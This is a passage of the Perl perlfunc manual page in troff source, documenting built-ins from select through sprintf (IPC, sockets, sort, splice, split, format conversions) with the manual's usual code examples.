default to this \s-1FILEHANDLE\s0. Second, references to variables related to
output will refer to this output channel. For example, if you have to
set the top of form format for more than one output channel, you might
do the following:
.Sp
.Vb 4
\& select(REPORT1);
\& $^ = 'report1_top';
\& select(REPORT2);
\& $^ = 'report2_top';
.Ve
.Sp
\&\s-1FILEHANDLE\s0 may be an expression whose value gives the name of the
actual filehandle. Thus:
.Sp
.Vb 1
\& $oldfh = select(STDERR); $| = 1; select($oldfh);
.Ve
.Sp
Some programmers may prefer to think of filehandles as objects with
methods, preferring to write the last example as:
.Sp
.Vb 2
\& use IO::Handle;
\& STDERR->autoflush(1);
.Ve
.IP "select \s-1RBITS\s0,WBITS,EBITS,TIMEOUT" 8
.IX Item "select RBITS,WBITS,EBITS,TIMEOUT"
This calls the \fIselect\fR\|(2) system call with the bit masks specified, which
can be constructed using \f(CW\*(C`fileno\*(C'\fR and \f(CW\*(C`vec\*(C'\fR, along these lines:
.Sp
.Vb 4
\& $rin = $win = $ein = '';
\& vec($rin,fileno(STDIN),1) = 1;
\& vec($win,fileno(STDOUT),1) = 1;
\& $ein = $rin | $win;
.Ve
.Sp
If you want to select on many filehandles you might wish to write a
subroutine:
.Sp
.Vb 9
\& sub fhbits {
\& my(@fhlist) = split(' ',$_[0]);
\& my($bits);
\& for (@fhlist) {
\& vec($bits,fileno($_),1) = 1;
\& }
\& $bits;
\& }
\& $rin = fhbits('STDIN TTY SOCK');
.Ve
.Sp
The usual idiom is:
.Sp
.Vb 2
\& ($nfound,$timeleft) =
\& select($rout=$rin, $wout=$win, $eout=$ein, $timeout);
.Ve
.Sp
or to block until something becomes ready just do this
.Sp
.Vb 1
\& $nfound = select($rout=$rin, $wout=$win, $eout=$ein, undef);
.Ve
.Sp
Most systems do not bother to return anything useful in \f(CW$timeleft\fR, so
calling \fIselect()\fR in scalar context just returns \f(CW$nfound\fR.
.Sp
Any of the bit masks can also be undef. The timeout, if specified, is
in seconds, which may be fractional. Note: not all implementations are
capable of returning the \f(CW$timeleft\fR. If not, they always return
\&\f(CW$timeleft\fR equal to the supplied \f(CW$timeout\fR.
.Sp
You can effect a sleep of 250 milliseconds this way:
.Sp
.Vb 1
\& select(undef, undef, undef, 0.25);
.Ve
.Sp
Note that whether \f(CW\*(C`select\*(C'\fR gets restarted after signals (say, \s-1SIGALRM\s0)
is implementation\-dependent.
.Sp
\&\fB\s-1WARNING\s0\fR: One should not attempt to mix buffered I/O (like \f(CW\*(C`read\*(C'\fR
or <\s-1FH\s0>) with \f(CW\*(C`select\*(C'\fR, except as permitted by \s-1POSIX\s0, and even
then only on \s-1POSIX\s0 systems. You have to use \f(CW\*(C`sysread\*(C'\fR instead.
.IP "semctl \s-1ID\s0,SEMNUM,CMD,ARG" 8
.IX Item "semctl ID,SEMNUM,CMD,ARG"
Calls the System V \s-1IPC\s0 function \f(CW\*(C`semctl\*(C'\fR. You'll probably have to say
.Sp
.Vb 1
\& use IPC::SysV;
.Ve
.Sp
first to get the correct constant definitions. If \s-1CMD\s0 is \s-1IPC_STAT\s0 or
\&\s-1GETALL\s0, then \s-1ARG\s0 must be a variable which will hold the returned
semid_ds structure or semaphore value array. Returns like \f(CW\*(C`ioctl\*(C'\fR:
the undefined value for error, "\f(CW\*(C`0 but true\*(C'\fR" for zero, or the actual
return value otherwise. The \s-1ARG\s0 must consist of a vector of native
short integers, which may be created with \f(CW\*(C`pack("s!",(0)x$nsem)\*(C'\fR.
See also \*(L"SysV \s-1IPC\s0\*(R" in perlipc, \f(CW\*(C`IPC::SysV\*(C'\fR, \f(CW\*(C`IPC::Semaphore\*(C'\fR
documentation.
.IP "semget \s-1KEY\s0,NSEMS,FLAGS" 8
.IX Item "semget KEY,NSEMS,FLAGS"
Calls the System V \s-1IPC\s0 function semget. Returns the semaphore id, or
the undefined value if there is an error. See also
\&\*(L"SysV \s-1IPC\s0\*(R" in perlipc, \f(CW\*(C`IPC::SysV\*(C'\fR, \f(CW\*(C`IPC::SysV::Semaphore\*(C'\fR
documentation.
.IP "semop \s-1KEY\s0,OPSTRING" 8
.IX Item "semop KEY,OPSTRING"
Calls the System V \s-1IPC\s0 function semop to perform semaphore operations
such as signalling and waiting. \s-1OPSTRING\s0 must be a packed array of
semop structures. Each semop structure can be generated with
\&\f(CW\*(C`pack("s!3", $semnum, $semop, $semflag)\*(C'\fR. The number of semaphore
operations is implied by the length of \s-1OPSTRING\s0. Returns true if
successful, or false if there is an error. As an example, the
following code waits on semaphore \f(CW$semnum\fR of semaphore id \f(CW$semid:\fR
.Sp
.Vb 2
\& $semop = pack("s!3", $semnum, -1, 0);
\& die "Semaphore trouble: $!\en" unless semop($semid, $semop);
.Ve
.Sp
To signal the semaphore, replace \f(CW\*(C`\-1\*(C'\fR with \f(CW1\fR. See also
\&\*(L"SysV \s-1IPC\s0\*(R" in perlipc, \f(CW\*(C`IPC::SysV\*(C'\fR, and \f(CW\*(C`IPC::SysV::Semaphore\*(C'\fR
documentation.
.IP "send \s-1SOCKET\s0,MSG,FLAGS,TO" 8
.IX Item "send SOCKET,MSG,FLAGS,TO"
.PD 0
.IP "send \s-1SOCKET\s0,MSG,FLAGS" 8
.IX Item "send SOCKET,MSG,FLAGS"
.PD
Sends a message on a socket. Attempts to send the scalar \s-1MSG\s0 to the
\&\s-1SOCKET\s0 filehandle. Takes the same flags as the system call of the
same name. On unconnected sockets you must specify a destination to
send \s-1TO\s0, in which case it does a C \f(CW\*(C`sendto\*(C'\fR. Returns the number of
characters sent, or the undefined value if there is an error. The C
system call \fIsendmsg\fR\|(2) is currently unimplemented. See
\&\*(L"\s-1UDP:\s0 Message Passing\*(R" in perlipc for examples.
.Sp
Note the \fIcharacters\fR: depending on the status of the socket, either
(8\-bit) bytes or characters are sent. By default all sockets operate
on bytes, but for example if the socket has been changed using
\&\fIbinmode()\fR to operate with the \f(CW\*(C`:utf8\*(C'\fR I/O layer (see \*(L"open\*(R", or the
\&\f(CW\*(C`open\*(C'\fR pragma, open), the I/O will operate on \s-1UTF\-8\s0 encoded
Unicode characters, not bytes. Similarly for the \f(CW\*(C`:encoding\*(C'\fR pragma:
in that case pretty much any characters can be sent.
.IP "setpgrp \s-1PID\s0,PGRP" 8
.IX Item "setpgrp PID,PGRP"
Sets the current process group for the specified \s-1PID\s0, \f(CW0\fR for the current
process. Will produce a fatal error if used on a machine that doesn't
implement \s-1POSIX\s0 \fIsetpgid\fR\|(2) or \s-1BSD\s0 \fIsetpgrp\fR\|(2). If the arguments are omitted,
it defaults to \f(CW\*(C`0,0\*(C'\fR. Note that the \s-1BSD\s0 4.2 version of \f(CW\*(C`setpgrp\*(C'\fR does not
accept any arguments, so only \f(CW\*(C`setpgrp(0,0)\*(C'\fR is portable. See also
\&\f(CW\*(C`POSIX::setsid()\*(C'\fR.
.IP "setpriority \s-1WHICH\s0,WHO,PRIORITY" 8
.IX Item "setpriority WHICH,WHO,PRIORITY"
Sets the current priority for a process, a process group, or a user.
(See \fIsetpriority\fR\|(2).) Will produce a fatal error if used on a machine
that doesn't implement \fIsetpriority\fR\|(2).
.IP "setsockopt \s-1SOCKET\s0,LEVEL,OPTNAME,OPTVAL" 8
.IX Item "setsockopt SOCKET,LEVEL,OPTNAME,OPTVAL"
Sets the socket option requested. Returns undefined if there is an
error. \s-1OPTVAL\s0 may be specified as \f(CW\*(C`undef\*(C'\fR if you don't want to pass an
argument.
.IP "shift \s-1ARRAY\s0" 8
.IX Item "shift ARRAY"
.PD 0
.IP "shift" 8
.IX Item "shift"
.PD
Shifts the first value of the array off and returns it, shortening the
array by 1 and moving everything down. If there are no elements in the
array, returns the undefined value. If \s-1ARRAY\s0 is omitted, shifts the
\&\f(CW@_\fR array within the lexical scope of subroutines and formats, and the
\&\f(CW@ARGV\fR array at file scopes or within the lexical scopes established by
the \f(CW\*(C`eval ''\*(C'\fR, \f(CW\*(C`BEGIN {}\*(C'\fR, \f(CW\*(C`INIT {}\*(C'\fR, \f(CW\*(C`CHECK {}\*(C'\fR, and \f(CW\*(C`END {}\*(C'\fR
constructs.
.Sp
See also \f(CW\*(C`unshift\*(C'\fR, \f(CW\*(C`push\*(C'\fR, and \f(CW\*(C`pop\*(C'\fR. \f(CW\*(C`shift\*(C'\fR and \f(CW\*(C`unshift\*(C'\fR do the
same thing to the left end of an array that \f(CW\*(C`pop\*(C'\fR and \f(CW\*(C`push\*(C'\fR do to the
right end.
.IP "shmctl \s-1ID\s0,CMD,ARG" 8
.IX Item "shmctl ID,CMD,ARG"
Calls the System V \s-1IPC\s0 function shmctl. You'll probably have to say
.Sp
.Vb 1
\& use IPC::SysV;
.Ve
.Sp
first to get the correct constant definitions. If \s-1CMD\s0 is \f(CW\*(C`IPC_STAT\*(C'\fR,
then \s-1ARG\s0 must be a variable which will hold the returned \f(CW\*(C`shmid_ds\*(C'\fR
structure. Returns like ioctl: the undefined value for error, "\f(CW0\fR but
true" for zero, or the actual return value otherwise.
See also \*(L"SysV \s-1IPC\s0\*(R" in perlipc and \f(CW\*(C`IPC::SysV\*(C'\fR documentation.
.IP "shmget \s-1KEY\s0,SIZE,FLAGS" 8
.IX Item "shmget KEY,SIZE,FLAGS"
Calls the System V \s-1IPC\s0 function shmget. Returns the shared memory
segment id, or the undefined value if there is an error.
See also \*(L"SysV \s-1IPC\s0\*(R" in perlipc and \f(CW\*(C`IPC::SysV\*(C'\fR documentation.
.IP "shmread \s-1ID\s0,VAR,POS,SIZE" 8
.IX Item "shmread ID,VAR,POS,SIZE"
.PD 0
.IP "shmwrite \s-1ID\s0,STRING,POS,SIZE" 8
.IX Item "shmwrite ID,STRING,POS,SIZE"
.PD
Reads or writes the System V shared memory segment \s-1ID\s0 starting at
position \s-1POS\s0 for size \s-1SIZE\s0 by attaching to it, copying in/out, and
detaching from it. When reading, \s-1VAR\s0 must be a variable that will
hold the data read. When writing, if \s-1STRING\s0 is too long, only \s-1SIZE\s0
bytes are used; if \s-1STRING\s0 is too short, nulls are written to fill out
\&\s-1SIZE\s0 bytes. Return true if successful, or false if there is an error.
\&\fIshmread()\fR taints the variable. See also \*(L"SysV \s-1IPC\s0\*(R" in perlipc,
\&\f(CW\*(C`IPC::SysV\*(C'\fR documentation, and the \f(CW\*(C`IPC::Shareable\*(C'\fR module from \s-1CPAN\s0.
.IP "shutdown \s-1SOCKET\s0,HOW" 8
.IX Item "shutdown SOCKET,HOW"
Shuts down a socket connection in the manner indicated by \s-1HOW\s0, which
has the same interpretation as in the system call of the same name.
.Sp
.Vb 3
\& shutdown(SOCKET, 0); # I/we have stopped reading data
\& shutdown(SOCKET, 1); # I/we have stopped writing data
\& shutdown(SOCKET, 2); # I/we have stopped using this socket
.Ve
.Sp
This is useful with sockets when you want to tell the other
side you're done writing but not done reading, or vice versa.
It's also a more insistent form of close because it also
disables the file descriptor in any forked copies in other
processes.
.IP "sin \s-1EXPR\s0" 8
.IX Item "sin EXPR"
.PD 0
.IP "sin" 8
.IX Item "sin"
.PD
Returns the sine of \s-1EXPR\s0 (expressed in radians). If \s-1EXPR\s0 is omitted,
returns sine of \f(CW$_\fR.
.Sp
For the inverse sine operation, you may use the \f(CW\*(C`Math::Trig::asin\*(C'\fR
function, or use this relation:
.Sp
.Vb 1
\& sub asin { atan2($_[0], sqrt(1 - $_[0] * $_[0])) }
.Ve
.IP "sleep \s-1EXPR\s0" 8
.IX Item "sleep EXPR"
.PD 0
.IP "sleep" 8
.IX Item "sleep"
.PD
Causes the script to sleep for \s-1EXPR\s0 seconds, or forever if no \s-1EXPR\s0.
May be interrupted if the process receives a signal such as \f(CW\*(C`SIGALRM\*(C'\fR.
Returns the number of seconds actually slept. You probably cannot
mix \f(CW\*(C`alarm\*(C'\fR and \f(CW\*(C`sleep\*(C'\fR calls, because \f(CW\*(C`sleep\*(C'\fR is often implemented
using \f(CW\*(C`alarm\*(C'\fR.
.Sp
On some older systems, it may sleep up to a full second less than what
you requested, depending on how it counts seconds. Most modern systems
always sleep the full amount. They may appear to sleep longer than that,
however, because your process might not be scheduled right away in a
busy multitasking system.
.Sp
For delays of finer granularity than one second, you may use Perl's
\&\f(CW\*(C`syscall\*(C'\fR interface to access \fIsetitimer\fR\|(2) if your system supports
it, or else see \*(L"select\*(R" above. The Time::HiRes module (from \s-1CPAN\s0,
and starting from Perl 5.8 part of the standard distribution) may also
help.
.Sp
See also the \s-1POSIX\s0 module's \f(CW\*(C`pause\*(C'\fR function.
.IP "socket \s-1SOCKET\s0,DOMAIN,TYPE,PROTOCOL" 8
.IX Item "socket SOCKET,DOMAIN,TYPE,PROTOCOL"
Opens a socket of the specified kind and attaches it to filehandle
\&\s-1SOCKET\s0. \s-1DOMAIN\s0, \s-1TYPE\s0, and \s-1PROTOCOL\s0 are specified the same as for
the system call of the same name. You should \f(CW\*(C`use Socket\*(C'\fR first
to get the proper definitions imported. See the examples in
\&\*(L"Sockets: Client/Server Communication\*(R" in perlipc.
.Sp
On systems that support a close-on-exec flag on files, the flag will
be set for the newly opened file descriptor, as determined by the
value of $^F. See \*(L"$^F\*(R" in perlvar.
.IP "socketpair \s-1SOCKET1\s0,SOCKET2,DOMAIN,TYPE,PROTOCOL" 8
.IX Item "socketpair SOCKET1,SOCKET2,DOMAIN,TYPE,PROTOCOL"
Creates an unnamed pair of sockets in the specified domain, of the
specified type. \s-1DOMAIN\s0, \s-1TYPE\s0, and \s-1PROTOCOL\s0 are specified the same as
for the system call of the same name. If unimplemented, yields a fatal
error. Returns true if successful.
.Sp
On systems that support a close-on-exec flag on files, the flag will
be set for the newly opened file descriptors, as determined by the value
of $^F. See \*(L"$^F\*(R" in perlvar.
.Sp
Some systems defined \f(CW\*(C`pipe\*(C'\fR in terms of \f(CW\*(C`socketpair\*(C'\fR, in which a call
to \f(CW\*(C`pipe(Rdr, Wtr)\*(C'\fR is essentially:
.Sp
.Vb 4
\& use Socket;
\& socketpair(Rdr, Wtr, AF_UNIX, SOCK_STREAM, PF_UNSPEC);
\& shutdown(Rdr, 1); # no more writing for reader
\& shutdown(Wtr, 0); # no more reading for writer
.Ve
.Sp
See perlipc for an example of socketpair use. Perl 5.8 and later will
emulate socketpair using \s-1IP\s0 sockets to localhost if your system implements
sockets but not socketpair.
.IP "sort \s-1SUBNAME\s0 \s-1LIST\s0" 8
.IX Item "sort SUBNAME LIST"
.PD 0
.IP "sort \s-1BLOCK\s0 \s-1LIST\s0" 8
.IX Item "sort BLOCK LIST"
.IP "sort \s-1LIST\s0" 8
.IX Item "sort LIST"
.PD
In list context, this sorts the \s-1LIST\s0 and returns the sorted list value.
In scalar context, the behaviour of \f(CW\*(C`sort()\*(C'\fR is undefined.
.Sp
If \s-1SUBNAME\s0 or \s-1BLOCK\s0 is omitted, \f(CW\*(C`sort\*(C'\fRs in standard string comparison
order. If \s-1SUBNAME\s0 is specified, it gives the name of a subroutine
that returns an integer less than, equal to, or greater than \f(CW0\fR,
depending on how the elements of the list are to be ordered. (The \f(CW\*(C`<=>\*(C'\fR and \f(CW\*(C`cmp\*(C'\fR operators are extremely useful in such routines.)
\&\s-1SUBNAME\s0 may be a scalar variable name (unsubscripted), in which case
the value provides the name of (or a reference to) the actual
subroutine to use. In place of a \s-1SUBNAME\s0, you can provide a \s-1BLOCK\s0 as
an anonymous, in-line sort subroutine.
.Sp
If the subroutine's prototype is \f(CW\*(C`($$)\*(C'\fR, the elements to be compared
are passed by reference in \f(CW@_\fR, as for a normal subroutine. This is
slower than unprototyped subroutines, where the elements to be
compared are passed into the subroutine
as the package global variables \f(CW$a\fR and \f(CW$b\fR (see example below). Note that
in the latter case, it is usually counter-productive to declare \f(CW$a\fR and
\&\f(CW$b\fR as lexicals.
.Sp
In either case, the subroutine may not be recursive. The values to be
compared are always passed by reference, so don't modify them.
.Sp
You also cannot exit out of the sort block or subroutine using any of the
loop control operators described in perlsyn or with \f(CW\*(C`goto\*(C'\fR.
.Sp
When \f(CW\*(C`use locale\*(C'\fR is in effect, \f(CW\*(C`sort LIST\*(C'\fR sorts \s-1LIST\s0 according to the
current collation locale. See perllocale.
.Sp
Perl 5.6 and earlier used a quicksort algorithm to implement sort.
That algorithm was not stable, and \fIcould\fR go quadratic. (A \fIstable\fR sort
preserves the input order of elements that compare equal. Although
quicksort's run time is O(NlogN) when averaged over all arrays of
length N, the time can be O(N**2), \fIquadratic\fR behavior, for some
inputs.) In 5.7, the quicksort implementation was replaced with
a stable mergesort algorithm whose worst case behavior is O(NlogN).
But benchmarks indicated that for some inputs, on some platforms,
the original quicksort was faster. 5.8 has a sort pragma for
limited control of the sort. Its rather blunt control of the
underlying algorithm may not persist into future perls, but the
ability to characterize the input or output in implementation
independent ways quite probably will. See sort.
.Sp
Examples:
.Sp
.Vb 2
\& # sort lexically
\& @articles = sort @files;
.Ve
.Sp
.Vb 2
\& # same thing, but with explicit sort routine
\& @articles = sort {$a cmp $b} @files;
.Ve
.Sp
.Vb 2
\& # now case-insensitively
\& @articles = sort {uc($a) cmp uc($b)} @files;
.Ve
.Sp
.Vb 2
\& # same thing in reversed order
\& @articles = sort {$b cmp $a} @files;
.Ve
.Sp
.Vb 2
\& # sort numerically ascending
\& @articles = sort {$a <=> $b} @files;
.Ve
.Sp
.Vb 2
\& # sort numerically descending
\& @articles = sort {$b <=> $a} @files;
.Ve
.Sp
.Vb 3
\& # this sorts the %age hash by value instead of key
\& # using an in-line function
\& @eldest = sort { $age{$b} <=> $age{$a} } keys %age;
.Ve
.Sp
.Vb 5
\& # sort using explicit subroutine name
\& sub byage {
\& $age{$a} <=> $age{$b}; # presuming numeric
\& }
\& @sortedclass = sort byage @class;
.Ve
.Sp
.Vb 9
\& sub backwards { $b cmp $a }
\& @harry = qw(dog cat x Cain Abel);
\& @george = qw(gone chased yz Punished Axed);
\& print sort @harry;
\& # prints AbelCaincatdogx
\& print sort backwards @harry;
\& # prints xdogcatCainAbel
\& print sort @george, 'to', @harry;
\& # prints AbelAxedCainPunishedcatchaseddoggonetoxyz
.Ve
.Sp
.Vb 3
\& # inefficiently sort by descending numeric compare using
\& # the first integer after the first = sign, or the
\& # whole record case-insensitively otherwise
.Ve
.Sp
.Vb 5
\& @new = sort {
\& ($b =~ /=(\ed+)/)[0] <=> ($a =~ /=(\ed+)/)[0]
\& ||
\& uc($a) cmp uc($b)
\& } @old;
.Ve
.Sp
.Vb 8
\& # same thing, but much more efficiently;
\& # we'll build auxiliary indices instead
\& # for speed
\& @nums = @caps = ();
\& for (@old) {
\& push @nums, /=(\ed+)/;
\& push @caps, uc($_);
\& }
.Ve
.Sp
.Vb 6
\& @new = @old[ sort {
\& $nums[$b] <=> $nums[$a]
\& ||
\& $caps[$a] cmp $caps[$b]
\& } 0..$#old
\& ];
.Ve
.Sp
.Vb 6
\& # same thing, but without any temps
\& @new = map { $_->[0] }
\& sort { $b->[1] <=> $a->[1]
\& ||
\& $a->[2] cmp $b->[2]
\& } map { [$_, /=(\ed+)/, uc($_)] } @old;
.Ve
.Sp
.Vb 4
\& # using a prototype allows you to use any comparison subroutine
\& # as a sort subroutine (including other package's subroutines)
\& package other;
\& sub backwards ($$) { $_[1] cmp $_[0]; } # $a and $b are not set here
.Ve
.Sp
.Vb 2
\& package main;
\& @new = sort other::backwards @old;
.Ve
.Sp
.Vb 3
\& # guarantee stability, regardless of algorithm
\& use sort 'stable';
\& @new = sort { substr($a, 3, 5) cmp substr($b, 3, 5) } @old;
.Ve
.Sp
.Vb 3
\& # force use of mergesort (not portable outside Perl 5.8)
\& use sort '_mergesort'; # note discouraging _
\& @new = sort { substr($a, 3, 5) cmp substr($b, 3, 5) } @old;
.Ve
.Sp
If you're using strict, you \fImust not\fR declare \f(CW$a\fR
and \f(CW$b\fR as lexicals. They are package globals. That means
if you're in the \f(CW\*(C`main\*(C'\fR package and type
.Sp
.Vb 1
\& @articles = sort {$b <=> $a} @files;
.Ve
.Sp
then \f(CW$a\fR and \f(CW$b\fR are \f(CW$main::a\fR and \f(CW$main::b\fR (or \f(CW$::a\fR and \f(CW$::b\fR),
but if you're in the \f(CW\*(C`FooPack\*(C'\fR package, it's the same as typing
.Sp
.Vb 1
\& @articles = sort {$FooPack::b <=> $FooPack::a} @files;
.Ve
.Sp
The comparison function is required to behave. If it returns
inconsistent results (sometimes saying \f(CW$x[1]\fR is less than \f(CW$x[2]\fR and
sometimes saying the opposite, for example) the results are not
well\-defined.
.Sp
Because \f(CW\*(C`<=>\*(C'\fR returns \f(CW\*(C`undef\*(C'\fR when either operand is \f(CW\*(C`NaN\*(C'\fR
(not\-a\-number), and because \f(CW\*(C`sort\*(C'\fR will trigger a fatal error unless the
result of a comparison is defined, when sorting with a comparison function
like \f(CW\*(C`$a <=> $b\*(C'\fR, be careful about lists that might contain a \f(CW\*(C`NaN\*(C'\fR.
The following example takes advantage of the fact that \f(CW\*(C`NaN != NaN\*(C'\fR to
eliminate any \f(CW\*(C`NaN\*(C'\fRs from the input.
.Sp
.Vb 1
\& @result = sort { $a <=> $b } grep { $_ == $_ } @input;
.Ve
.IP "splice \s-1ARRAY\s0,OFFSET,LENGTH,LIST" 8
.IX Item "splice ARRAY,OFFSET,LENGTH,LIST"
.PD 0
.IP "splice \s-1ARRAY\s0,OFFSET,LENGTH" 8
.IX Item "splice ARRAY,OFFSET,LENGTH"
.IP "splice \s-1ARRAY\s0,OFFSET" 8
.IX Item "splice ARRAY,OFFSET"
.IP "splice \s-1ARRAY\s0" 8
.IX Item "splice ARRAY"
.PD
Removes the elements designated by \s-1OFFSET\s0 and \s-1LENGTH\s0 from an array, and
replaces them with the elements of \s-1LIST\s0, if any. In list context,
returns the elements removed from the array. In scalar context,
returns the last element removed, or \f(CW\*(C`undef\*(C'\fR if no elements are
removed. The array grows or shrinks as necessary.
If \s-1OFFSET\s0 is negative then it starts that far from the end of the array.
If \s-1LENGTH\s0 is omitted, removes everything from \s-1OFFSET\s0 onward.
If \s-1LENGTH\s0 is negative, removes the elements from \s-1OFFSET\s0 onward
except for \-LENGTH elements at the end of the array.
If both \s-1OFFSET\s0 and \s-1LENGTH\s0 are omitted, removes everything. If \s-1OFFSET\s0 is
past the end of the array, perl issues a warning, and splices at the
end of the array.
.Sp
The following equivalences hold (assuming \f(CW\*(C`$[ == 0 and $#a >= $i\*(C'\fR )
.Sp
.Vb 5
\& push(@a,$x,$y) splice(@a,@a,0,$x,$y)
\& pop(@a) splice(@a,-1)
\& shift(@a) splice(@a,0,1)
\& unshift(@a,$x,$y) splice(@a,0,0,$x,$y)
\& $a[$i] = $y splice(@a,$i,1,$y)
.Ve
.Sp
Example, assuming array lengths are passed before arrays:
.Sp
.Vb 10
\& sub aeq { # compare two list values
\& my(@a) = splice(@_,0,shift);
\& my(@b) = splice(@_,0,shift);
\& return 0 unless @a == @b; # same len?
\& while (@a) {
\& return 0 if pop(@a) ne pop(@b);
\& }
\& return 1;
\& }
\& if (&aeq($len,@foo[1..$len],0+@bar,@bar)) { ... }
.Ve
.IP "split /PATTERN/,EXPR,LIMIT" 8
.IX Item "split /PATTERN/,EXPR,LIMIT"
.PD 0
.IP "split /PATTERN/,EXPR" 8
.IX Item "split /PATTERN/,EXPR"
.IP "split /PATTERN/" 8
.IX Item "split /PATTERN/"
.IP "split" 8
.IX Item "split"
.PD
Splits a string into a list of strings and returns that list. By default,
empty leading fields are preserved, and empty trailing ones are deleted.
.Sp
In scalar context, returns the number of fields found and splits into
the \f(CW@_\fR array. Use of split in scalar context is deprecated, however,
because it clobbers your subroutine arguments.
.Sp
If \s-1EXPR\s0 is omitted, splits the \f(CW$_\fR string. If \s-1PATTERN\s0 is also omitted,
splits on whitespace (after skipping any leading whitespace). Anything
matching \s-1PATTERN\s0 is taken to be a delimiter separating the fields. (Note
that the delimiter may be longer than one character.)
.Sp
If \s-1LIMIT\s0 is specified and positive, it represents the maximum number
of fields the \s-1EXPR\s0 will be split into, though the actual number of
fields returned depends on the number of times \s-1PATTERN\s0 matches within
\&\s-1EXPR\s0. If \s-1LIMIT\s0 is unspecified or zero, trailing null fields are
stripped (which potential users of \f(CW\*(C`pop\*(C'\fR would do well to remember).
If \s-1LIMIT\s0 is negative, it is treated as if an arbitrarily large \s-1LIMIT\s0
had been specified. Note that splitting an \s-1EXPR\s0 that evaluates to the
empty string always returns the empty list, regardless of the \s-1LIMIT\s0
specified.
.Sp
A pattern matching the null string (not to be confused with
a null pattern \f(CW\*(C`//\*(C'\fR, which is just one member of the set of patterns
matching a null string) will split the value of \s-1EXPR\s0 into separate
characters at each point it matches that way. For example:
.Sp
.Vb 1
\& print join(':', split(/ */, 'hi there'));
.Ve
.Sp
produces the output 'h:i:t:h:e:r:e'.
.Sp
Using the empty pattern \f(CW\*(C`//\*(C'\fR specifically matches the null string, and is
not be confused with the use of \f(CW\*(C`//\*(C'\fR to mean \*(L"the last successful pattern
match\*(R".
.Sp
Empty leading (or trailing) fields are produced when there are positive width
matches at the beginning (or end) of the string; a zero-width match at the
beginning (or end) of the string does not produce an empty field. For
example:
.Sp
.Vb 1
\& print join(':', split(/(?=\ew)/, 'hi there!'));
.Ve
.Sp
produces the output 'h:i :t:h:e:r:e!'.
.Sp
The \s-1LIMIT\s0 parameter can be used to split a line partially
.Sp
.Vb 1
\& ($login, $passwd, $remainder) = split(/:/, $_, 3);
.Ve
.Sp
When assigning to a list, if \s-1LIMIT\s0 is omitted, or zero, Perl supplies
a \s-1LIMIT\s0 one larger than the number of variables in the list, to avoid
unnecessary work. For the list above \s-1LIMIT\s0 would have been 4 by
default. In time critical applications it behooves you not to split
into more fields than you really need.
.Sp
If the \s-1PATTERN\s0 contains parentheses, additional list elements are
created from each matching substring in the delimiter.
.Sp
.Vb 1
\& split(/([,-])/, "1-10,20", 3);
.Ve
.Sp
produces the list value
.Sp
.Vb 1
\& (1, '-', 10, ',', 20)
.Ve
.Sp
If you had the entire header of a normal Unix email message in \f(CW$header\fR,
you could split it up into fields and their values this way:
.Sp
.Vb 2
\& $header =~ s/\en\es+/ /g; # fix continuation lines
\& %hdrs = (UNIX_FROM => split /^(\eS*?):\es*/m, $header);
.Ve
.Sp
The pattern \f(CW\*(C`/PATTERN/\*(C'\fR may be replaced with an expression to specify
patterns that vary at runtime. (To do runtime compilation only once,
use \f(CW\*(C`/$variable/o\*(C'\fR.)
.Sp
As a special case, specifying a \s-1PATTERN\s0 of space (\f(CW'\ '\fR) will split on
white space just as \f(CW\*(C`split\*(C'\fR with no arguments does. Thus, \f(CW\*(C`split('\ ')\*(C'\fR can
be used to emulate \fBawk\fR's default behavior, whereas \f(CW\*(C`split(/\ /)\*(C'\fR
will give you as many null initial fields as there are leading spaces.
A \f(CW\*(C`split\*(C'\fR on \f(CW\*(C`/\es+/\*(C'\fR is like a \f(CW\*(C`split('\ ')\*(C'\fR except that any leading
whitespace produces a null first field. A \f(CW\*(C`split\*(C'\fR with no arguments
really does a \f(CW\*(C`split('\ ',\ $_)\*(C'\fR internally.
.Sp
A \s-1PATTERN\s0 of \f(CW\*(C`/^/\*(C'\fR is treated as if it were \f(CW\*(C`/^/m\*(C'\fR, since it isn't
much use otherwise.
.Sp
Example:
.Sp
.Vb 7
\& open(PASSWD, '/etc/passwd');
\& while (<PASSWD>) {
\& chomp;
\& ($login, $passwd, $uid, $gid,
\& $gcos, $home, $shell) = split(/:/);
\& #...
\& }
.Ve
.Sp
As with regular pattern matching, any capturing parentheses that are not
matched in a \f(CW\*(C`split()\*(C'\fR will be set to \f(CW\*(C`undef\*(C'\fR when returned:
.Sp
.Vb 2
\& @fields = split /(A)|B/, "1A2B3";
\& # @fields is (1, 'A', 2, undef, 3)
.Ve
.IP "sprintf \s-1FORMAT\s0, \s-1LIST\s0" 8
.IX Item "sprintf FORMAT, LIST"
Returns a string formatted by the usual \f(CW\*(C`printf\*(C'\fR conventions of the C
library function \f(CW\*(C`sprintf\*(C'\fR. See below for more details
and see \fIsprintf\fR\|(3) or \fIprintf\fR\|(3) on your system for an explanation of
the general principles.
.Sp
For example:
.Sp
.Vb 2
\& # Format number with up to 8 leading zeroes
\& $result = sprintf("%08d", $number);
.Ve
.Sp
.Vb 2
\& # Round number to 3 digits after decimal point
\& $rounded = sprintf("%.3f", $number);
.Ve
.Sp
Perl does its own \f(CW\*(C`sprintf\*(C'\fR formatting\*(--it emulates the C
function \f(CW\*(C`sprintf\*(C'\fR, but it doesn't use it (except for floating-point
numbers, and even then only the standard modifiers are allowed). As a
result, any non-standard extensions in your local \f(CW\*(C`sprintf\*(C'\fR are not
available from Perl.
.Sp
Unlike \f(CW\*(C`printf\*(C'\fR, \f(CW\*(C`sprintf\*(C'\fR does not do what you probably mean when you
pass it an array as your first argument. The array is given scalar context,
and instead of using the 0th element of the array as the format, Perl will
use the count of elements in the array as the format, which is almost never
useful.
.Sp
Perl's \f(CW\*(C`sprintf\*(C'\fR permits the following universally-known conversions:
.Sp
.Vb 10
\& %% a percent sign
\& %c a character with the given number
\& %s a string
\& %d a signed integer, in decimal
\& %u an unsigned integer, in decimal
\& %o an unsigned integer, in octal
\& %x an unsigned integer, in hexadecimal
\& %e a floating-point number, in scientific notation
\& %f a floating-point number, in fixed decimal notation
\& %g a floating-point number, in %e or %f notation
.Ve
.Sp
In addition, Perl permits the following widely-supported conversions:
.Sp
.Vb 7
\& %X like %x, but using upper-case letters
\& %E like %e, but using an upper-case "E"
\& %G like %g, but with an upper-case "E" (if applicable)
\& %b an unsigned integer, in binary
\& %p a pointer (outputs the Perl value's address in hexadecimal)
\& %n special: *stores* the number of characters output so far
\& into the next variable in the parameter list
.Ve
.Sp
Finally, for backward (and we do mean \*(L"backward\*(R") compatibility, Perl
permits these unnecessary but widely-supported conversions:
.Sp
.Vb 5
\& %i a synonym for %d
\& %D a synonym for %ld
\& %U a synonym for %lu
